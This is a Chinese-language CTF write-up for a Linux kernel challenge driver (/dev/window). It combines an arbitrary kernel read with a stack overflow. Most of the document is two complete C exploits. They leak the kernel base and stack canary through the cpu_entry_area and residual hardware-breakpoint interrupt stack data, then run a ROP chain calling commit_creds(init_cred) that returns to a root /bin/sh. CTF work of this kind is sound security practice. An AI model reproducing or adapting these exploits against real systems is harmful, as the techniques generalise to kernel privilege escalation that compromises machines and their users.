前言
本题不难,但感觉笔者的做法挺有意思(嘿嘿,自夸啦),利用到了最近学到的 ret2hbp。
漏洞分析
保护:smap 等都开了,标配啦 >_<
漏洞是直给的:这里存在一个 256 字节的任意地址读,并且是无数次的
然后给了一个栈溢出:
这里IDA识别的偏移有问题,最后调试看一下或者看汇编也可以看出来偏移
漏洞利用
泄漏 koffset:
这里直接利用任意读读取 IDT table(即之前 SCTF 中的 cpu_entry_area mapping) 从而泄漏 koffset
泄漏 kcanary:
想要进行栈溢出提权,首先的泄漏 kcanary,因为可以看出来题目是开了 kcanary 的。这里有两种方式:
1)任意读遍历 init_task 的 tasks 链表找到当前进程从而泄漏 kcanary
2)利用硬件断点中断栈残余的内核栈地址直接读取内核栈中的 kcanary
栈溢出布置 ROP 提权:
这里就比较常规了,主要就是注意下 kcanary 的偏移啥的还是调试一下比较稳
exp 如下:笔者泄漏 kcanary 采用的第二种方式
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
int fd;
size_t koffset;
size_t pop_rdi = 0xffffffff8101d675; // pop rdi ; ret
size_t commit_creds = 0xffffffff810ff8a0;
size_t init_cred = 0xffffffff8308b2e0;
size_t swapgs_kpti = 0xffffffff820010f0;
struct request {
char* ptr;
char buf[1];
};
void arb_read(struct request* req) { ioctl(fd, 0x1337, req); }
void stack_overflow(char* buf, size_t len) { write(fd, buf, len); }
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
#define DR_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
int rop_pipe[2];
char hbp_buf[0x1000];
char rop_buf[0x1000];
void set_hbp(pid_t pid, void* addr)
{
if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr))
err_exit("FAILED to set dr0");
long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr7))
err_exit("FAILED to set dr7");
}
int main(int argc, char** argv, char** env)
{
save_status();
fd = open("/dev/window", O_RDWR);
if (fd < 0) err_exit("open dev file");
pipe(rop_pipe);
pid_t pid = fork();
if (!pid)
{
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err_exit("FAILED to trace_me");
raise(SIGSTOP);
uname(hbp_buf);
read(rop_pipe[0], rop_buf, 0x500);
stack_overflow(rop_buf, 0x50+0x70);
puts("CHILD OVER");
exit(0);
} else if (pid < 0) {
err_exit("FAILED to fork a child process");
}
int status;
waitpid(pid, &status, 0);
set_hbp(pid, hbp_buf);
if (ptrace(PTRACE_CONT, pid, NULL, NULL)) err_exit("FAILED to ptrace_cont");
char buf[0x1000];
struct request* req = (struct request*)buf;
memset(buf, 0, sizeof(buf));
req->ptr = 0xfffffe0000000000+4;
arb_read(req);
binary_dump("ARB DATA", req->buf, 0x100);
koffset = *(size_t*)req->buf - 0xffffffff82008e00;
hexx("koffset", koffset);
memset(buf, 0, sizeof(buf));
req->ptr = 0xfffffe0000010fb0 + 8*8;
arb_read(req);
binary_dump("ARB DATA", req->buf, 0x20);
size_t kstack = *(size_t*)req->buf;
hexx("kstack", kstack);
memset(buf, 0, sizeof(buf));
req->ptr = kstack;
arb_read(req);
binary_dump("ARB DATA", req->buf, 0x100);
size_t kcanary = -1;
for (int i = 0; i < 0x100 / 8; i++)
{
size_t val = *(size_t*)(&req->buf[i*8]);
if ((val&0xffff000000000000) != 0xffff000000000000 && (val&0xff) == 0 && (val&0xff00) != 0 && val > 0x1000000000000000)
{
kcanary = val;
break;
}
}
if (kcanary == -1) err_exit("Leak kcanary");
hexx("kcanary", kcanary);
pop_rdi += koffset;
init_cred += koffset;
commit_creds += koffset;
swapgs_kpti += koffset + 0x36;
hexx("pop_rdi", pop_rdi);
hexx("init_cred", init_cred);
hexx("commit_creds", commit_creds);
hexx("swapgs_kpti", swapgs_kpti);
size_t rop[] = {
kcanary,0,
pop_rdi,
init_cred,
commit_creds,
swapgs_kpti,
0,0,
get_root_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};
memset(buf, 0, sizeof(buf));
memcpy(buf+0x40, rop, sizeof(rop));
write(rop_pipe[1], buf, 0x500);
while(1) {}
return 0;
}
效果如下:
=========================================================================
思考了一下,上面用了三次任意地址读,但是其实两次就足够泄漏 koffset 和 kcanary 了, 因为中断栈上不止残留的栈地址,而且还残留了之前的 rip,如果是内核函数触发的硬件中断,那么 rip 就是一个内核地址,所以可以在泄漏 kstack 的时候同时泄漏 koffset。
exp 如下:只需要两次任意地址读
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
int fd;
size_t koffset;
size_t pop_rdi = 0xffffffff8101d675; // pop rdi ; ret
size_t commit_creds = 0xffffffff810ff8a0;
size_t init_cred = 0xffffffff8308b2e0;
size_t swapgs_kpti = 0xffffffff820010f0;
struct request {
char* ptr;
char buf[1];
};
void arb_read(struct request* req) { ioctl(fd, 0x1337, req); }
void stack_overflow(char* buf, size_t len) { write(fd, buf, len); }
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
sleep(5);
exit(EXIT_FAILURE);
}
void info(char *msg)
{
printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}
void hexx(char *msg, size_t value)
{
printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}
puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
system("/bin/sh");
/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}
/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
#define DR_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
int rop_pipe[2];
char hbp_buf[0x1000];
char rop_buf[0x1000];
void set_hbp(pid_t pid, void* addr)
{
if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr))
err_exit("FAILED to set dr0");
long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr7))
err_exit("FAILED to set dr7");
}
int main(int argc, char** argv, char** env)
{
save_status();
fd = open("/dev/window", O_RDWR);
if (fd < 0) err_exit("open dev file");
pipe(rop_pipe);
pid_t pid = fork();
if (!pid)
{
if (ptrace(PTRACE_TRACEME, 0, NULL, NULL)) err_exit("FAILED to trace_me");
raise(SIGSTOP);
uname(hbp_buf);
read(rop_pipe[0], rop_buf, 0x500);
stack_overflow(rop_buf, 0x50+0x70);
puts("CHILD OVER");
exit(0);
} else if (pid < 0) {
err_exit("FAILED to fork a child process");
}
int status;
waitpid(pid, &status, 0);
set_hbp(pid, hbp_buf);
if (ptrace(PTRACE_CONT, pid, NULL, NULL)) err_exit("FAILED to ptrace_cont");
char buf[0x1000];
struct request* req = (struct request*)buf;
memset(buf, 0, sizeof(buf));
req->ptr = 0xfffffe0000010fb0 + 5*8;
arb_read(req);
binary_dump("ARB DATA", req->buf, 0x100);
size_t koffset = *(size_t*)req->buf - 0xffffffff817895a8;
size_t kstack = *(size_t*)(req->buf + 24);
hexx("koffset", koffset);
hexx("kstack", kstack);
memset(buf, 0, sizeof(buf));
req->ptr = kstack;
arb_read(req);
binary_dump("ARB DATA", req->buf, 0x100);
size_t kcanary = -1;
for (int i = 0; i < 0x100 / 8; i++)
{
size_t val = *(size_t*)(&req->buf[i*8]);
if ((val&0xffff000000000000) != 0xffff000000000000 && (val&0xff) == 0 && (val&0xff00) != 0 && val > 0x1000000000000000)
{
kcanary = val;
break;
}
}
if (kcanary == -1) err_exit("Leak kcanary");
hexx("kcanary", kcanary);
pop_rdi += koffset;
init_cred += koffset;
commit_creds += koffset;
swapgs_kpti += koffset + 0x36;
hexx("pop_rdi", pop_rdi);
hexx("init_cred", init_cred);
hexx("commit_creds", commit_creds);
hexx("swapgs_kpti", swapgs_kpti);
size_t rop[] = {
kcanary,0,
pop_rdi,
init_cred,
commit_creds,
swapgs_kpti,
0,0,
get_root_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};
memset(buf, 0, sizeof(buf));
memcpy(buf+0x40, rop, sizeof(rop));
write(rop_pipe[1], buf, 0x500);
while(1) {}
return 0;
}
效果如下: